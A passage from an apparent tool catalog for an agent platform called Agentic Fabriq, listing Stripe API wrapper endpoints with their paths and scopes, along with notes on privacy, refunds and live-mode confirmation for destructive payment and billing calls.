InboundTransfer. GET /api/v1/tools/stripe/get-treasury-inbound-transfer. Scopes: stripe_read_treasury. stripe_get_treasury_outbound_payment (read) — Retrieves the details of an existing OutboundPayment by passing the unique OutboundPayment ID from either the OutboundPayment creation request or OutboundPayment list. GET /api/v1/tools/stripe/get-treasury-outbound-payment. Scopes: stripe_read_treasury. stripe_get_treasury_outbound_transfer (read) — Retrieves the details of an existing OutboundTransfer by passing the unique OutboundTransfer ID from either the OutboundTransfer creation request or OutboundTransfer list. GET /api/v1/tools/stripe/get-treasury-outbound-transfer. Scopes: stripe_read_treasury. stripe_get_treasury_received_credit (read) — Retrieves the details of an existing ReceivedCredit by passing the unique ReceivedCredit ID from the ReceivedCredit list. GET /api/v1/tools/stripe/get-treasury-received-credit. Scopes: stripe_read_treasury. stripe_get_treasury_received_debit (read) — Retrieves the details of an existing ReceivedDebit by passing the unique ReceivedDebit ID from the ReceivedDebit list GET /api/v1/tools/stripe/get-treasury-received-debit. Scopes: stripe_read_treasury. stripe_get_treasury_transaction (read) — Retrieves the details of an existing Transaction. GET /api/v1/tools/stripe/get-treasury-transaction. Scopes: stripe_read_treasury. stripe_get_treasury_transaction_entry (read) — Retrieves a TransactionEntry object. GET /api/v1/tools/stripe/get-treasury-transaction-entry. Scopes: stripe_read_treasury. stripe_get_webhook_endpoint (read) — Retrieves the webhook endpoint with the given ID. The retrieve response does NOT contain the signing secret -- Stripe returns that only from the create call, which Agentic Fabriq does not expose. This read is the inventory: which URLs already receive this account's events. GET /api/v1/tools/stripe/get-webhook-endpoint. Scopes: stripe_read_events. stripe_list_account_tax_ids (read) — Returns a list of tax IDs. POST /api/v1/tools/stripe/list-account-tax-ids. Scopes: stripe_read_customers. stripe_list_apple_pay_domains (read) — List apple pay domains. GET /api/v1/tools/stripe/list-apple-pay-domains. Scopes: stripe_read_payments. stripe_list_application_fee_refunds (read) — You can see a list of the refunds belonging to a specific application fee. Note that the 10 most recent refunds are always available by default on the application fee object. If you need more than those 10, you can use this API method and the limit and starting_after parameters to page through additional refunds. GET /api/v1/tools/stripe/list-application-fee-refunds. Scopes: stripe_read_connect. stripe_list_application_fees (read) — Returns a list of application fees you've previously collected. The application fees are returned in sorted order, with the most recent fees appearing first. POST /api/v1/tools/stripe/list-application-fees. Scopes: stripe_read_connect. stripe_list_balance_history (read) — Returns a list of transactions that have contributed to the Stripe account balance (for example, charges, transfers, and so on). The transactions return in sorted order, with the most recent transactions appearing first. The previous name of this endpoint was "Balance history," and it used the path /v1/balance/history. POST /api/v1/tools/stripe/list-balance-history. Scopes: stripe_read_account. stripe_list_balance_transactions (read) — Returns a list of transactions that have contributed to the Stripe account balance (for example, charges, transfers, and so on). The transactions return in sorted order, with the most recent transactions appearing first. The previous name of this endpoint was "Balance history," and it used the path /v1/balance/history. stripe_get_balance returns a snapshot with no history; THIS is the endpoint that reconciles a payout to the charges, fees, refunds and adjustments inside it. Filter by payout to answer "what was in this deposit". Amounts are in the currency's smallest unit. POST /api/v1/tools/stripe/list-balance-transactions. Scopes: stripe_read_account. stripe_list_billing_alerts (read) — Lists billing active and inactive alerts GET /api/v1/tools/stripe/list-billing-alerts. Scopes: stripe_read_billing. stripe_list_billing_credit_balance_transactions (read) — Retrieve a list of credit balance transactions. GET /api/v1/tools/stripe/list-billing-credit-balance-transactions. Scopes: stripe_read_billing. stripe_list_billing_credit_grants (read) — Retrieve a list of credit grants. GET /api/v1/tools/stripe/list-billing-credit-grants. Scopes: stripe_read_billing. stripe_list_billing_meter_event_summaries (read) — Retrieve a list of billing meter event summaries. GET /api/v1/tools/stripe/list-billing-meter-event-summaries. Scopes: stripe_read_billing. stripe_list_billing_meters (read) — Retrieve a list of billing meters. GET /api/v1/tools/stripe/list-billing-meters. Scopes: stripe_read_billing. stripe_list_billing_portal_configurations (read) — Returns a list of configurations that describe the functionality of the customer portal. GET /api/v1/tools/stripe/list-billing-portal-configurations. Scopes: stripe_read_billing. stripe_list_charge_refunds (read) — You can see a list of the refunds belonging to a specific charge. Note that the 10 most recent refunds are always available by default on the charge object. If you need more than those 10, you can use this API method and the limit and starting_after parameters to page through additional refunds. GET /api/v1/tools/stripe/list-charge-refunds. Scopes: stripe_read_payments. stripe_list_charges (read) — List charges, newest first — the settled record of money actually taken, with amount, currency, whether it is already refunded, how much has been refunded, and the card's brand and last four digits. THIS IS WHERE A REFUND STARTS: stripe_create_refund addresses a charge id (ch_…). Card details in the result are the last four digits only; never repeat them unnecessarily. GET /api/v1/tools/stripe/charges. Scopes: stripe_read_payments. stripe_list_checkout_session_line_items (read) — When retrieving a Checkout Session, there is an includable line_items property containing the first handful of those items. There is also a URL where you can retrieve the full (paginated) list of line items. GET /api/v1/tools/stripe/list-checkout-session-line-items. Scopes: stripe_read_payments. stripe_list_checkout_sessions (read) — Returns a list of Checkout Sessions. POST /api/v1/tools/stripe/list-checkout-sessions. Scopes: stripe_read_payments. stripe_list_climate_orders (read) — Lists all Climate order objects. The orders are returned sorted by creation date, with the most recently created orders appearing first. GET /api/v1/tools/stripe/list-climate-orders. Scopes: stripe_read_climate. stripe_list_climate_products (read) — Lists all available Climate product objects. GET /api/v1/tools/stripe/list-climate-products. Scopes: stripe_read_climate. stripe_list_climate_suppliers (read) — Lists all available Climate supplier objects. GET /api/v1/tools/stripe/list-climate-suppliers. Scopes: stripe_read_climate. stripe_list_connected_account_capabilities (read) — Returns a list of capabilities associated with the account. The capabilities are returned sorted by creation date, with the most recent capability appearing first. GET /api/v1/tools/stripe/list-connected-account-capabilities. Scopes: stripe_read_connect. stripe_list_connected_account_external_accounts (read) — List external accounts for an account. GET /api/v1/tools/stripe/list-connected-account-external-accounts. Scopes: stripe_read_connect. stripe_list_connected_account_people_aliases (read) — Returns a list of people associated with the account's legal entity. The people are returned sorted by creation date, with the most recent people appearing first. POST /api/v1/tools/stripe/list-connected-account-people-aliases. Scopes: stripe_read_connect. stripe_list_connected_account_persons (read) — Returns a list of people associated with the account's legal entity. The people are returned sorted by creation date, with the most recent people appearing first. POST /api/v1/tools/stripe/list-connected-account-persons. Scopes: stripe_read_connect. stripe_list_connected_accounts (read) — Returns a list of accounts connected to your platform via Connect. If you're not a platform, the list is empty. POST /api/v1/tools/stripe/list-connected-accounts. Scopes: stripe_read_connect. stripe_list_country_specs (read) — Lists all Country Spec objects available in the API. GET /api/v1/tools/stripe/list-country-specs. Scopes: stripe_read_account. stripe_list_coupons (read) — Returns a list of your coupons. POST /api/v1/tools/stripe/list-coupons. Scopes: stripe_read_catalog. stripe_list_credit_note_lines (read) — When retrieving a credit note, you'll get a lines property containing the first handful of those items. There is also a URL where you can retrieve the full (paginated) list of line items. GET /api/v1/tools/stripe/list-credit-note-lines. Scopes: stripe_read_billing. stripe_list_credit_notes (read) — Returns a list of credit notes. POST /api/v1/tools/stripe/list-credit-notes. Scopes: stripe_read_billing. stripe_list_customer_balance_transactions (read) — Returns a list of transactions that updated the customer's balances. POST /api/v1/tools/stripe/list-customer-balance-transactions. Scopes: stripe_read_customers. stripe_list_customer_bank_accounts (read) — You can see a list of the bank accounts belonging to a Customer. Note that the 10 most recent sources are always available by default on the Customer. If you need more than those 10, you can use this API method and the limit and starting_after parameters to page through additional bank accounts. GET /api/v1/tools/stripe/list-customer-bank-accounts. Scopes: stripe_read_customers. stripe_list_customer_cards (read) — You can see a list of the cards belonging to a customer. Note that the 10 most recent sources are always available on the Customer object. If you need more than those 10, you can use this API method and the limit and starting_after parameters to page through additional cards. GET /api/v1/tools/stripe/list-customer-cards. Scopes: stripe_read_customers. stripe_list_customer_cash_balance_transactions (read) — Returns a list of transactions that modified the customer's cash balance. GET /api/v1/tools/stripe/list-customer-cash-balance-transactions. Scopes: stripe_read_customers. stripe_list_customer_payment_methods (read) — Returns a list of PaymentMethods for a given Customer Answers "why did the renewal fail / which card is on file / is it expired". Returns brand, last4, exp_month and exp_year only -- never a full card number. Do not repeat the last four digits unless the task needs them. GET /api/v1/tools/stripe/list-customer-payment-methods. Scopes: stripe_read_customers. stripe_list_customer_sources (read) — List sources for a specified customer. GET /api/v1/tools/stripe/list-customer-sources. Scopes: stripe_read_customers. stripe_list_customer_subscriptions (read) — You can see a list of the customer's active subscriptions. Note that the 10 most recent active subscriptions are always available by default on the customer object. If you need more than those 10, you can use the limit and starting_after parameters to page through additional subscriptions. GET /api/v1/tools/stripe/list-customer-subscriptions. Scopes: stripe_read_customers. stripe_list_customer_tax_ids (read) — Returns a list of tax IDs for a customer. GET /api/v1/tools/stripe/list-customer-tax-ids. Scopes: stripe_read_customers. stripe_list_customers (read) — List Stripe customers, newest first, at most 100 per call, with a `has_more` flag and cursor paging. Pass `email` for an EXACT-match lookup — Stripe does not match partially or case-insensitively — which is how you turn a known address into a customer id (cus_…). Results contain personal data: names, email addresses and billing addresses. Do not repeat more of it than the task needs. GET /api/v1/tools/stripe/customers. Scopes: stripe_read_customers. stripe_list_disputes (read) — Returns a list of your disputes. Disputes are deadline-driven: evidence_details.due_by is a hard cutoff and a missed one forfeits the money automatically. This is the read that surfaces them. Note the due date and the reason live on the SINGLE dispute object (stripe_get_dispute), not on the list row. POST /api/v1/tools/stripe/list-disputes. Scopes: stripe_read_disputes. stripe_list_entitlement_active_entitlements (read) — Retrieve a list of active entitlements for a customer GET /api/v1/tools/stripe/list-entitlement-active-entitlements. Scopes: stripe_read_billing. stripe_list_entitlement_features (read) — Retrieve a list of features GET /api/v1/tools/stripe/list-entitlement-features. Scopes: stripe_read_billing. stripe_list_events (read) — List events, going back up to 30 days. Each event data is rendered according to Stripe API version at its creation time, specified in event object api_version attribute (not according to your current Stripe API version or Stripe-Version header). This is the account's activity log and it is how an agent verifies its own writes actually landed -- "did the refund settle", "what changed since yesterday" -- without polling every list endpoint. It is also the honest audit read for a connector whose writes are irreversible. Events expire after 30 days. POST /api/v1/tools/stripe/list-events. Scopes: stripe_read_events. stripe_list_exchange_rates (read) — [Deprecated] The ExchangeRate APIs are deprecated. Please use the FX Quotes API instead. Returns a list of objects that contain the rates at which foreign currencies are converted to one another. Only shows the currencies for which Stripe supports. GET /api/v1/tools/stripe/list-exchange-rates. Scopes: stripe_read_account. stripe_list_file_links (read) — Returns a list of file links. POST /api/v1/tools/stripe/list-file-links. Scopes: stripe_read_files. stripe_list_files (read) — Returns a list of the files that your account has access to. Stripe sorts and returns the files by their creation dates, placing the most recently created files at the top. Metadata only. The file bytes live on files.stripe.com behind a separate credential, and Agentic Fabriq exposes no file upload and no file-link creation (E5: a file link is an unauthenticated public download URL for dispute evidence and identity documents). POST /api/v1/tools/stripe/list-files. Scopes: stripe_read_files. stripe_list_financial_connection_account_owners (read) — Lists all owners for a given Account GET /api/v1/tools/stripe/list-financial-connection-account-owners. Scopes: stripe_read_banking. stripe_list_financial_connection_accounts (read) — Returns a list of Financial Connections Account objects. POST /api/v1/tools/stripe/list-financial-connection-accounts. Scopes: stripe_read_banking. stripe_list_financial_connection_transactions (read) — Returns a list of Financial Connections Transaction objects. POST /api/v1/tools/stripe/list-financial-connection-transactions. Scopes: stripe_read_banking. stripe_list_forwarding_requests (read) — Lists all ForwardingRequest objects. POST /api/v1/tools/stripe/list-forwarding-requests. Scopes: stripe_read_payments. stripe_list_identity_verification_reports (read) — List all verification reports. POST /api/v1/tools/stripe/list-identity-verification-reports. Scopes: stripe_read_identity. stripe_list_identity_verification_sessions (read) — Returns a list of VerificationSessions Contains government-ID verification outcomes for real people. Read only what the task needs and repeat none of it. POST /api/v1/tools/stripe/list-identity-verification-sessions. Scopes: stripe_read_identity. stripe_list_invoice_lines (read) — When retrieving an invoice, you'll get a lines property containing the total count of line items and the first handful of those items. There is also a URL where you can retrieve the full (paginated) list of line items. GET /api/v1/tools/stripe/list-invoice-lines. Scopes: stripe_read_billing. stripe_list_invoice_payments (read) — When retrieving an invoice, there is an includable payments property containing the first handful of those items. There is also a URL where you can retrieve the full (paginated) list of payments. POST /api/v1/tools/stripe/list-invoice-payments. Scopes: stripe_read_billing. stripe_list_invoice_rendering_templates (read) — List all templates, ordered by creation date, with the most recently created template appearing first. GET /api/v1/tools/stripe/list-invoice-rendering-templates. Scopes: stripe_read_billing. stripe_list_invoiceitems (read) — Returns a list of your invoice items. Invoice items are returned sorted by creation date, with the most recently created invoice items appearing first. POST /api/v1/tools/stripe/list-invoiceitems. Scopes: stripe_read_billing. stripe_list_invoices (read) — List invoices, newest first, optionally filtered by customer, subscription or status. Statuses are draft, open, paid, uncollectible and void; `open` is the one that means owed and unpaid. Invoice amounts are in the currency's smallest unit. GET /api/v1/tools/stripe/invoices. Scopes: stripe_read_billing. stripe_list_issuing_authorizations (read) — Returns a list of Issuing Authorization objects. The objects are sorted in descending order by creation date, with the most recently created object appearing first. POST /api/v1/tools/stripe/list-issuing-authorizations. Scopes: stripe_read_issuing. stripe_list_issuing_cardholders (read) — Returns a list of Issuing Cardholder objects. The objects are sorted in descending order by creation date, with the most recently created object appearing first. POST /api/v1/tools/stripe/list-issuing-cardholders. Scopes: stripe_read_issuing. stripe_list_issuing_cards (read) — Returns a list of Issuing Card objects. The objects are sorted in descending order by creation date, with the most recently created object appearing first. POST /api/v1/tools/stripe/list-issuing-cards. Scopes: stripe_read_issuing. stripe_list_issuing_disputes (read) — Returns a list of Issuing Dispute objects. The objects are sorted in descending order by creation date, with the most recently created object appearing first. POST /api/v1/tools/stripe/list-issuing-disputes. Scopes: stripe_read_issuing. stripe_list_issuing_personalization_designs (read) — Returns a list of personalization design objects. The objects are sorted in descending order by creation date, with the most recently created object appearing first. POST /api/v1/tools/stripe/list-issuing-personalization-designs. Scopes: stripe_read_issuing. stripe_list_issuing_physical_bundles (read) — Returns a list of physical bundle objects. The objects are sorted in descending order by creation date, with the most recently created object appearing first. GET /api/v1/tools/stripe/list-issuing-physical-bundles. Scopes: stripe_read_issuing. stripe_list_issuing_tokens (read) — Lists all Issuing Token objects for a given card. POST /api/v1/tools/stripe/list-issuing-tokens. Scopes: stripe_read_issuing. stripe_list_issuing_transactions (read) — Returns a list of Issuing Transaction objects. The objects are sorted in descending order by creation date, with the most recently created object appearing first. POST /api/v1/tools/stripe/list-issuing-transactions. Scopes: stripe_read_issuing. stripe_list_linked_account_owners (read) — Lists all owners for a given Account GET /api/v1/tools/stripe/list-linked-account-owners. Scopes: stripe_read_banking. stripe_list_linked_accounts (read) — Returns a list of Financial Connections Account objects. POST /api/v1/tools/stripe/list-linked-accounts. Scopes: stripe_read_banking. stripe_list_payment_attempt_records (read) — List all the Payment Attempt Records attached to the specified Payment Record. GET /api/v1/tools/stripe/list-payment-attempt-records. Scopes: stripe_read_payments. stripe_list_payment_intent_line_items (read) — Lists all LineItems of a given PaymentIntent. GET /api/v1/tools/stripe/list-payment-intent-line-items. Scopes: stripe_read_payments. stripe_list_payment_intents (read) — List PaymentIntents, newest first — the payment ATTEMPTS, successful or not, with amount, currency, status and customer. A PaymentIntent is the attempt; the settled record of money actually taken is a CHARGE (stripe_list_charges), and a refund addresses a charge id. Amounts are in the currency's smallest unit. GET /api/v1/tools/stripe/payment-intents. Scopes: stripe_read_payments. stripe_list_payment_link_line_items (read) — When retrieving a payment link, there is an includable line_items property containing the first handful of those items. There is also a URL where you can retrieve the full (paginated) list of line items. GET /api/v1/tools/stripe/list-payment-link-line-items. Scopes: stripe_read_payments. stripe_list_payment_links (read) — Returns a list of your payment links. GET /api/v1/tools/stripe/list-payment-links. Scopes: stripe_read_payments. stripe_list_payment_method_configurations (read) — List payment method configurations GET /api/v1/tools/stripe/list-payment-method-configurations. Scopes: stripe_read_payments. stripe_list_payment_method_domains (read) — Lists the details of existing payment method domains. GET /api/v1/tools/stripe/list-payment-method-domains. Scopes: stripe_read_payments. stripe_list_payment_methods (read) — Returns a list of all PaymentMethods. GET /api/v1/tools/stripe/list-payment-methods. Scopes: stripe_read_customers. stripe_list_payment_records (read) — List all the Payment Records for a given merchant. GET /api/v1/tools/stripe/list-payment-records. Scopes: stripe_read_payments. stripe_list_payouts (read) — Returns a list of existing payouts sent to third-party bank accounts or payouts that Stripe sent to you. The payouts return in sorted order, with the most recently created payouts appearing first. POST /api/v1/tools/stripe/list-payouts. Scopes: stripe_read_account. stripe_list_plans (read) — Returns a list of your plans. POST /api/v1/tools/stripe/list-plans. Scopes: stripe_read_catalog. stripe_list_prices (read) — Returns a list of your active prices, excluding inline prices. For the list of inactive prices, set active to false. A subscription line item is a bare price_... id. Without this every subscription and invoice answer an agent gives is opaque ids rather than "Pro plan, $49/mo". unit_amount is in the currency's smallest unit. POST /api/v1/tools/stripe/list-prices. Scopes: stripe_read_catalog. stripe_list_product_features (read) — Retrieve a list of features for a product GET /api/v1/tools/stripe/list-product-features. Scopes: stripe_read_catalog. stripe_list_products (read) — Returns a list of your products. The products are returned sorted by creation date, with the most recently created products appearing first. The other half of turning a price_... id into something a human recognises. POST /api/v1/tools/stripe/list-products. Scopes: stripe_read_catalog. stripe_list_promotion_codes (read) — Returns a list of your promotion codes. POST /api/v1/tools/stripe/list-promotion-codes. Scopes: stripe_read_catalog. stripe_list_quote_line_items (read) — When retrieving a quote, there is an includable line_items property containing the first handful of those items. There is also a URL where you can retrieve the full (paginated) list of line items. GET /api/v1/tools/stripe/list-quote-line-items. Scopes: stripe_read_billing. stripe_list_quote_upfront_line_items (read) — When retrieving a quote, there is an includable computed.upfront.line_items property containing the first handful of those items. There is also a URL where you can retrieve the full (paginated) list of upfront line items. GET /api/v1/tools/stripe/list-quote-upfront-line-items. Scopes: stripe_read_billing. stripe_list_quotes (read) — Returns a list of your quotes. GET /api/v1/tools/stripe/list-quotes. Scopes: stripe_read_billing. stripe_list_radar_early_fraud_warnings (read) — Returns a list of early fraud warnings. An early fraud warning is the issuer telling you a dispute is coming before the cardholder files it. Refunding at this point usually avoids the dispute fee. POST /api/v1/tools/stripe/list-radar-early-fraud-warnings. Scopes: stripe_read_disputes. stripe_list_radar_value_list_items (read) — Returns a list of ValueListItem objects. The objects are sorted in descending order by creation date, with the most recently created object appearing first. POST /api/v1/tools/stripe/list-radar-value-list-items. Scopes: stripe_read_disputes. stripe_list_radar_value_lists (read) — Returns a list of ValueList objects. The objects are sorted in descending order by creation date, with the most recently created object appearing first. POST /api/v1/tools/stripe/list-radar-value-lists. Scopes: stripe_read_disputes. stripe_list_refunds (read) — List refunds already issued, newest first, optionally narrowed to one charge or payment. CALL THIS BEFORE stripe_create_refund: it is the only way to see how much of a charge has already been returned, and Stripe will happily accept a further refund up to the charge's remaining balance. Two agents each 'refunding the order' produces two refunds. GET /api/v1/tools/stripe/refunds. Scopes: stripe_read_payments. stripe_list_reporting_report_runs (read) — Returns a list of Report Runs, with the most recent appearing first. Reads report runs a human already created. Agentic Fabriq does not expose report-run CREATION: a report run is a full-ledger export of every balance transaction, payout or customer row for an arbitrary date range. POST /api/v1/tools/stripe/list-reporting-report-runs. Scopes: stripe_read_events. stripe_list_reporting_report_types (read) — Returns a full list of Report Types. GET /api/v1/tools/stripe/list-reporting-report-types. Scopes: stripe_read_events. stripe_list_reviews (read) — Returns a list of Review objects that have open set to true. The objects are sorted in descending order by creation date, with the most recently created object appearing first. POST /api/v1/tools/stripe/list-reviews. Scopes: stripe_read_disputes. stripe_list_setup_attempts (read) — Returns a list of SetupAttempts that associate with a provided SetupIntent. POST /api/v1/tools/stripe/list-setup-attempts. Scopes: stripe_read_customers. stripe_list_setup_intents (read) — Returns a list of SetupIntents. POST /api/v1/tools/stripe/list-setup-intents. Scopes: stripe_read_customers. stripe_list_shipping_rates (read) — Returns a list of your shipping rates. POST /api/v1/tools/stripe/list-shipping-rates. Scopes: stripe_read_catalog. stripe_list_sigma_scheduled_query_runs (read) — Returns a list of scheduled query runs. GET /api/v1/tools/stripe/list-sigma-scheduled-query-runs. Scopes: stripe_read_events. stripe_list_source_transactions (read) — List source transactions for a given source. GET /api/v1/tools/stripe/list-source-transactions. Scopes: stripe_read_customers. stripe_list_subscription_items (read) — Returns a list of your subscription items for a given subscription. GET /api/v1/tools/stripe/list-subscription-items. Scopes: stripe_read_billing. stripe_list_subscription_schedules (read) — Retrieves the list of your subscription schedules. POST /api/v1/tools/stripe/list-subscription-schedules. Scopes: stripe_read_billing. stripe_list_subscriptions (read) — List subscriptions with status, current period, price and customer. IMPORTANT: Stripe returns only ACTIVE subscriptions unless you set `status` explicitly — pass status=all to include cancelled and past-due ones, or a subscription an agent 'cannot find' may simply be cancelled. GET /api/v1/tools/stripe/subscriptions. Scopes: stripe_read_billing. stripe_list_tax_calculation_line_items (read) — Retrieves the line items of a tax calculation as a collection, if the calculation hasn't expired. GET /api/v1/tools/stripe/list-tax-calculation-line-items. Scopes: stripe_read_tax. stripe_list_tax_codes (read) — A list of all tax codes available to add to Products in order to allow specific tax calculations. GET /api/v1/tools/stripe/list-tax-codes. Scopes: stripe_read_catalog. stripe_list_tax_rates (read) — Returns a list of your tax rates. Tax rates are returned sorted by creation date, with the most recently created tax rates appearing first. POST /api/v1/tools/stripe/list-tax-rates. Scopes: stripe_read_catalog. stripe_list_tax_registrations (read) — Returns a list of Tax Registration objects. GET /api/v1/tools/stripe/list-tax-registrations. Scopes: stripe_read_tax. stripe_list_tax_transaction_line_items (read) — Retrieves the line items of a committed standalone transaction as a collection. GET /api/v1/tools/stripe/list-tax-transaction-line-items. Scopes: stripe_read_tax. stripe_list_terminal_configurations (read) — Returns a list of Configuration objects. GET /api/v1/tools/stripe/list-terminal-configurations. Scopes: stripe_read_terminal. stripe_list_terminal_locations (read) — Returns a list of Location objects. GET /api/v1/tools/stripe/list-terminal-locations. Scopes: stripe_read_terminal. stripe_list_terminal_readers (read) — Returns a list of Reader objects. GET /api/v1/tools/stripe/list-terminal-readers. Scopes: stripe_read_terminal. stripe_list_topups (read) — Returns a list of top-ups. POST /api/v1/tools/stripe/list-topups. Scopes: stripe_read_account. stripe_list_transfer_reversals (read) — You can see a list of the reversals belonging to a specific transfer. Note that the 10 most recent reversals are always available by default on the transfer object. If you need more than those 10, you can use this API method and the limit and starting_after parameters to page through additional reversals. GET /api/v1/tools/stripe/list-transfer-reversals. Scopes: stripe_read_connect. stripe_list_transfers (read) — Returns a list of existing transfers sent to connected accounts. The transfers are returned in sorted order, with the most recently created transfers appearing first. POST /api/v1/tools/stripe/list-transfers. Scopes: stripe_read_connect. stripe_list_treasury_credit_reversals (read) — Returns a list of CreditReversals. GET /api/v1/tools/stripe/list-treasury-credit-reversals. Scopes: stripe_read_treasury. stripe_list_treasury_debit_reversals (read) — Returns a list of DebitReversals. GET /api/v1/tools/stripe/list-treasury-debit-reversals. Scopes: stripe_read_treasury. stripe_list_treasury_financial_accounts (read) — Returns a list of FinancialAccounts. POST /api/v1/tools/stripe/list-treasury-financial-accounts. Scopes: stripe_read_treasury. stripe_list_treasury_inbound_transfers (read) — Returns a list of InboundTransfers sent from the specified FinancialAccount. GET /api/v1/tools/stripe/list-treasury-inbound-transfers. Scopes: stripe_read_treasury. stripe_list_treasury_outbound_payments (read) — Returns a list of OutboundPayments sent from the specified FinancialAccount. POST /api/v1/tools/stripe/list-treasury-outbound-payments. Scopes: stripe_read_treasury. stripe_list_treasury_outbound_transfers (read) — Returns a list of OutboundTransfers sent from the specified FinancialAccount. GET /api/v1/tools/stripe/list-treasury-outbound-transfers. Scopes: stripe_read_treasury. stripe_list_treasury_received_credits (read) — Returns a list of ReceivedCredits. POST /api/v1/tools/stripe/list-treasury-received-credits. Scopes: stripe_read_treasury. stripe_list_treasury_received_debits (read) — Returns a list of ReceivedDebits. GET /api/v1/tools/stripe/list-treasury-received-debits. Scopes: stripe_read_treasury. stripe_list_treasury_transaction_entries (read) — Retrieves a list of TransactionEntry objects. POST /api/v1/tools/stripe/list-treasury-transaction-entries. Scopes: stripe_read_treasury. stripe_list_treasury_transactions (read) — Retrieves a list of Transaction objects. POST /api/v1/tools/stripe/list-treasury-transactions. Scopes: stripe_read_treasury. stripe_list_webhook_endpoints (read) — Returns a list of your webhook endpoints. A security read: which external URLs already receive a copy of every event on this account. GET /api/v1/tools/stripe/list-webhook-endpoints. Scopes: stripe_read_events. stripe_mark_uncollectible_invoice (write, destructive) — DESTRUCTIVE. Marking an invoice as uncollectible is useful for keeping track of bad debts that can be written off for accounting purposes. The bad-debt write-off, and the safest of the AR writes: an uncollectible invoice can still be paid afterwards (stripe_pay_invoice), so unlike voiding it is reversible. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/mark-uncollectible-invoice. Scopes: stripe_write_billing. stripe_migrate_subscription (write, destructive) — DESTRUCTIVE and ONE-WAY: move an existing subscription from Stripe's classic billing mode to flexible billing. Stripe publishes no reverse migration -- once a subscription is on flexible mode it stays there -- and the change affects how proration, credits and invoice line items are calculated for every future cycle of a REAL subscription. `billing_mode` is required. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/migrate-subscription. Scopes: stripe_write_billing. stripe_pay_invoice (write, destructive) — DESTRUCTIVE. Stripe automatically creates and then attempts to collect payment on invoices for customers on subscriptions according to your subscriptions settings. However, if you'd like to attempt payment on an invoice out of the normal collection schedule or for some other reason, you can do so. This TAKES money: it charges the customer's stored payment method for the invoice amount. It is bounded -- it can only ever collect what the merchant already billed on a real invoice object -- but it lands on the opposite side of most people's intuition from a refund, so read stripe_get_invoice and confirm the amount and the customer before calling it. There is no un-pay; the recovery is a refund, which does not return the processing fee. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/pay-invoice. Scopes: stripe_write_billing. stripe_preview_credit_note (read) — Get a preview of a credit note without creating it. POST /api/v1/tools/stripe/preview-credit-note. Scopes: stripe_read_billing. stripe_preview_credit_note_lines (read) — When retrieving a credit note preview, you'll get a lines property containing the first handful of those items. This URL you can retrieve the full (paginated) list of line items. POST /api/v1/tools/stripe/preview-credit-note-lines. Scopes: stripe_read_billing. stripe_preview_invoice (write) — At any time, you can preview the upcoming invoice for a subscription or subscription schedule. This will show you all the charges that are pending, including subscription renewal charges, invoice item charges, etc. It will also show you any discounts that are applicable to the invoice. POST /api/v1/tools/stripe/preview-invoice. Scopes: stripe_write_billing. stripe_process_terminal_reader_payment_intent (write, destructive) — DESTRUCTIVE: hand an existing PaymentIntent to a physical reader and prompt the person standing at it to present a card. THIS TAKES REAL MONEY from a real cardholder. The amount is not this call's to choose -- it comes from the PaymentIntent, which Agentic Fabriq cannot create (that is E4-refused), so the ceiling was set by the merchant's own system. The undo is a refund, which does not return the processing fee. stripe_cancel_terminal_reader_action aborts it while the prompt is still on screen. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/process-terminal-reader-payment-intent. Scopes: stripe_write_terminal. stripe_process_terminal_reader_setup_intent (write) — Hand a SetupIntent to a reader so the customer can present a card to be SAVED rather than charged. No money moves now; it authorises later billing, which is why it needs confirm_live_mode=true on a live connection. allow_redisplay records whether the saved card may be shown back to the customer, and Stripe requires it. POST /api/v1/tools/stripe/process-terminal-reader-setup-intent. Scopes: stripe_write_terminal. stripe_reactivate_billing_meter (write) — When a meter is reactivated, events for this meter can be accepted and you can attach the meter to a price. POST /api/v1/tools/stripe/reactivate-billing-meter. Scopes: stripe_write_billing. stripe_redact_identity_verification_session (write, destructive) — DESTRUCTIVE AND PERMANENT: erase the personal data collected in an identity verification session -- the ID images, the extracted name, date of birth and document number. Stripe describes this as irreversible and nobody, including Stripe support, can restore it. That data may be evidence a merchant is legally required to RETAIN for KYC or AML purposes, so redacting it can create a compliance problem rather than solving one. It is the right tool for a deletion request under privacy law and the wrong tool for tidying up. Redaction also cancels the session. POST /api/v1/tools/stripe/redact-identity-verification-session. Scopes: stripe_write_identity. stripe_refresh_financial_connection_account (write) — Ask Stripe to pull fresh data from the customer's bank for one linked account -- balances, ownership or transactions, named in `features`. Nothing is charged to the customer and nothing is destroyed; the refresh is asynchronous, so read the account again afterwards to see whether it succeeded. Some banks rate-limit refreshes and Stripe bills the platform per refresh on some plans. POST /api/v1/tools/stripe/refresh-financial-connection-account. Scopes: stripe_write_banking. stripe_refresh_linked_account (write) — Ask Stripe to pull fresh data from the customer's bank for one linked account -- balances, ownership or transactions, named in `features`. Nothing is charged to the customer and nothing is destroyed; the refresh is asynchronous, so read the account again afterwards to see whether it succeeded. Some banks rate-limit refreshes and Stripe bills the platform per refresh on some plans. This is the /linked_accounts spelling of the same Stripe object as stripe_refresh_financial_connection_account. POST /api/v1/tools/stripe/refresh-linked-account. Scopes: stripe_write_banking. stripe_refund_application_fee (write, destructive) — DESTRUCTIVE. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/refund-application-fee. Scopes: stripe_write_refunds. stripe_refund_charge (write, destructive) — DESTRUCTIVE. When you create a new refund, you must specify either a Charge or a PaymentIntent object. This action refunds a previously created charge that's not refunded yet. Funds are refunded to the credit or debit card that's originally charged. You can optionally refund only part of a charge. You can repeat this until the entire charge is refunded. After you entirely refund a charge, you can't refund it again. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/refund-charge. Scopes: stripe_write_refunds. stripe_refund_terminal_reader_payment (write, destructive) — DESTRUCTIVE: refund an in-person charge at the reader, with the cardholder present to tap the same card (which is what interac_present and some other in-person methods require). THIS MOVES REAL MONEY out of the balance and there is no un- refund. Bounded by the original charge's remaining amount. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/refund-terminal-reader-payment. Scopes: stripe_write_refunds. stripe_reject_connected_account (write, destructive) — DESTRUCTIVE: mark 